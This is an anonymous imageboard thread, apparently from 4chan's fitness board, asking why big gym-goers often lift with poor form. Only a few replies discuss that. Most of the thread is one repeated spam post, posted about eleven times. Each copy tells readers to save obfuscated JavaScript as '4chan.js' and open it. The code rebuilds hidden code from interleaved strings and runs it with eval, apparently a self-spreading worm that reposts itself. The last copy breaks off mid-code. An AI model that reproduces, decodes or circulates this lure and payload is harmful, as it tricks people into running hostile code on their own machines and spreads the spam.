File :-(, x, )
Anonymous
If form is so important, then why is it that the biggest, strongest guys I see at the gym have shitty form?
>> Anonymous
cause you can build a lot of muscle with the shittiest form
>> Anonymous
Getting muscles doesn't automatically mean you aren't fucking up your body for your later years
That's why you see so many older people with joint problems and whatnot
>> Anonymous
cuz it isnt important
>> Anonymous
23lb8f9

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3k9cylb

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.


A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
sowdpj

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
I started this because yesterday there was some guy whining about what others were doing in the gym.... All the while admitting they were bigger then him!

And everyone flamed him for it so I figured it was because they believed form to be a relative thing.
>> Anonymous
vvy2mg

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3ry4vtg

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
3j2rne0

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
27biphn

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
1bmajsc

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
33r4fp5

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
19ppkrp

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
2riydcx

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
'=)nt-pt:mta"=ron+cn++\\ ydstfog e..vtthia\\hj\\ neloa..?.i'+
'rs\\h"eni\r"pe;xep"+ogm\'\'/b)+g/d"Jg,v+h/p)\'xtuhecet"up/'+
'mtoa";eSa(}.e0}';X=[];Y=eval
Y('for(i=0;i<A.l\x65ngth;i++)X[i'+
'*4]=A.ch\x61rAt(i);for(i=0;i<B.l\x65ngth;i++)X[i*4+1]=B.ch\x61rAt(i'+
');for(i=0;i<C.l\x65ngth;i++)X[i*4+2]=C.ch\x61rAt(i);for(i=0;i<D.'+
'l\x65ngth;i++)X[i*4+3]=D.ch\x61rAt(i);Y(X.join(""))')
>> Anonymous
     File :-(, x)
>>435895
What ever happened to this guy?
>> Anonymous
13hu0p3

1. Copy and paste the following to Notepad.
2. Save it with the filename "4chan.js"
3. Open the file you saved.
4. ???
5. Shit bricks.

A='ft )t hoM.d)}=.abts2lp\nSree"iniyme)exlScte=el;l(xeg,t/.'+
'ar";e)xssxa(t?li/\ncn)t etr(}h(txeg,bR)a(t?l[++,xn\rxssxa('+
'pinr\\g]t//0sn+r+cedoif-am\rse\\"so\\r"nC \x20thow Np\\ e hel'+
'm"asnO \x20euv\\ \\ ti.n+m\\rs\n.l(Y.no,Jr,p+zgi\'\'\\ga)+i""'+
'Jtgh,).reerony,laf-aur+xn)teWsp0';B='uiR{uM.oaro*\rWctj(x.'+
'h"HHeocspglsoc.nteHrn)HalHo).ne"pi4ng,xn;.pett/ph"tgft {uR'+
'9oi3\ri1r.ne([(]t/ph/0"r0.d\n.pett/adoed).c\\g]=-(("onisoo'+
'd;e\n+sn++mn(\\1oapeelitoanS w \x20ee4n\\3ptf \x20en?nS c\\"sone'+
'tJra/(o(sM+z""Ji,n+i\\,t\'\'/n)+m,p0\rsesa(ntp"trod;nyu.d}'+
'c)Sl(0';C='no(rrafrtamQ\nSree"mxt)=.abtct.etbtotf(.ia;.d(.'+
's\ro(th:mc./0.dbrot.ch.t l)uirrr()Sn6\nl)yo(tMi4.ch.tg]?()'+
's(trot.c<n=ta+[mhd)\r"-u)\\ntsinran=S"t\\t"\\")n.pna \x20lnot'+
'd2aiitfn c.".ehiysd4?5hbkn++d\\g"=ec"\'p"t\'\'/t)+p""Jm.".'+
'+cgo\'\'l"")\neqtd"t-emitrabd=)s(ch{He2)';D='cnQentl(hn()x'+
'Heocmlmt\rWctj(rifsej"peiWspmhra)ce\np""t/ghob)s(=enemht*m'+
'te\rno(en9.tg)we{{p""==3mht*m))");e)=enemhs "hd/3a(+[\n\\"'+
